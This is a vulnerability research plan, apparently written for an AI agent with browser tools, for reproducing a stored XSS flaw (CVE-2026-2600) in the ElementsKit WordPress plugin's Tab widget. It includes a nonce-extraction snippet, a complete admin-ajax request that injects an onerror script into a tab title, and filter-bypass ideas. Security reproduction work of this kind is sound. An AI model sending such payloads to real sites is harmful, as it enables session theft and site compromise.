Vulnerability Research Plan: CVE-2026-2600 - ElementsKit Stored XSS via Simple Tab Widget

1. Vulnerability Summary

The ElementsKit Elementor Addons and Templates plugin (versions <= 3.7.9) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the Simple Tab widget (often referred to as the "Tab" widget in the UI). Specifically, the ekit_tab_title parameter, which stores the title of a tab item, is not properly sanitized upon input or escaped upon output. This allows an authenticated attacker with Contributor-level permissions (who can edit posts via Elementor) to inject malicious JavaScript into a page. The script executes whenever a user (including administrators) views the affected page.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: elementor_ajax (used by the Elementor editor to save widget data)
• Sub-Action: save_builder_data
• Vulnerable Parameter: ekit_tab_title (within the settings object of an elementskit-tab widget)
• Required Authentication: Contributor or higher.
• Preconditions:
  • The ElementsKit Lite plugin is active.
  • The Elementor plugin is active.
  • The attacker has a Contributor account and can edit a post/page using the Elementor editor.

3. Code Flow

1. Input: A user with Contributor access opens a post in the Elementor editor.
2. Action: The user adds an "ElementsKit Tab" widget and sets a tab title.
3. Transmission: Elementor sends a POST request to admin-ajax.php?action=elementor_ajax. The payload is a JSON string containing the widget's settings.
4. Processing: The plugin (via Elementor's framework) saves these settings into the WordPress database as post metadata (_elementor_data).
5. Vulnerable Parameter Path:
   • settings -> ekit_tab_items (repeater) -> ekit_tab_title.
6. Rendering (Sink): When the page is viewed on the frontend, the widget's rendering function (likely in a file like widgets/tab/tab.php, though not provided in the snippet, this is standard ElementsKit architecture) iterates through the tab items.
7. Output: The value of ekit_tab_title is echoed to the page without being passed through esc_html() or a restrictive wp_kses() call.

4. Nonce Acquisition Strategy

Elementor uses its own internal security nonce for AJAX operations. To successfully save builder data, we must obtain this nonce.

Acquisition Steps:

1. Login: Authenticate as a Contributor.
2. Access Editor: Create a new post or edit an existing one: wp-admin/post.php?post=POST_ID&action=elementor.
3. Extract Nonce: The Elementor nonce is stored in a JavaScript object localized on the page.
4. JS Variable: window.elementorCommonConfig.ajax.nonce or window.elementorConfig.ajax.nonce.
5. Tool Usage: Use browser_navigate to open the editor and browser_eval to extract the nonce.

// Extraction payload
const nonce = window.elementorCommonConfig?.ajax?.nonce || window.elementorConfig?.ajax?.nonce;
return nonce;

5. Exploitation Strategy

The exploit involves sending a crafted Elementor AJAX request to update a post's content with a malicious ElementsKit Tab widget.

Step-by-Step Plan:

1. Identify Post: Find a post ID that the Contributor can edit.
2. Fetch Nonce: Navigate to the Elementor editor for that post and extract the nonce as described in Section 4.
3. Craft Payload: Create a JSON payload for the elementor_ajax action.
   • action: elementor_ajax
   • _nonce: [EXTRACTED_NONCE]
   • actions: A JSON-encoded object containing the save_builder_data command.
4. Malicious Widget Data:

   {
     "id": "malicious-tab-id",
     "elType": "widget",
     "widgetType": "elementskit-tab",
     "settings": {
       "ekit_tab_items": [
         {
           "ekit_tab_title": "<img src=x onerror=alert('CVE-2026-2600')>",
           "ekit_tab_content": "Standard Content"
         }
       ]
     }
   }
   

5. HTTP Request:
   • Method: POST
   • URL: [TARGET_URL]/wp-admin/admin-ajax.php
   • Content-Type: application/x-www-form-urlencoded
   • Body:

     action=elementor_ajax&
     _nonce=[NONCE]&
     actions={"save_builder_data":{"post_id":"[POST_ID]","data":[{"id":"container-id","elType":"container","settings":[],"elements":[{"id":"malicious-tab-id","elType":"widget","widgetType":"elementskit-tab","settings":{"ekit_tab_items":[{"ekit_tab_title":"<img src=x onerror=alert('CVE-2026-2600')>","ekit_tab_content":"Content"}]}}]}]}}
     

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Post: Create a post with post_status='publish' authored by the contributor.
3. Plugin Config: Ensure elementskit-lite is active. In the ElementsKit dashboard, ensure the "Tab" widget is enabled (it is enabled by default in config/widget-list.php).

7. Expected Results

• The HTTP request should return a 200 OK with a JSON body indicating success: {"success":true,"data":{...}}.
• When navigating to the post URL on the frontend (e.g., /?p=[POST_ID]), an alert box with CVE-2026-2600 should appear.
• The HTML source of the page should contain: <img src=x onerror=alert('CVE-2026-2600')>.

8. Verification Steps

1. WP-CLI: Verify the meta value is stored in the database.

   wp post meta get [POST_ID] _elementor_data
   

2. Check for Payload: Inspect the output of the CLI command for the presence of the <img src=x ...> string.
3. Frontend Check: Use the browser_navigate tool to the frontend URL of the post and check for the execution of the alert.

9. Alternative Approaches

• SVG Infiltration: If <script> or <img> tags are filtered by a WAF but wp_kses is used with the get_kses_array() from helpers/utils.php, note that svg and path tags are allowed in that list (Lines 163-176). An attacker might try injecting an SVG with an onload attribute if the kses call is present but misconfigured.
• Style Injection: If the title is rendered inside a style attribute (unlikely for a title, but possible for styling tab headers), one could use expression() (old IE) or breakout techniques.
• REST API: Check if the elementskit/v1/widget-builder endpoint (seen in config/module-list.php) allows modification of widget data without going through Elementor's standard AJAX. (Requires checking core/handler-api.php).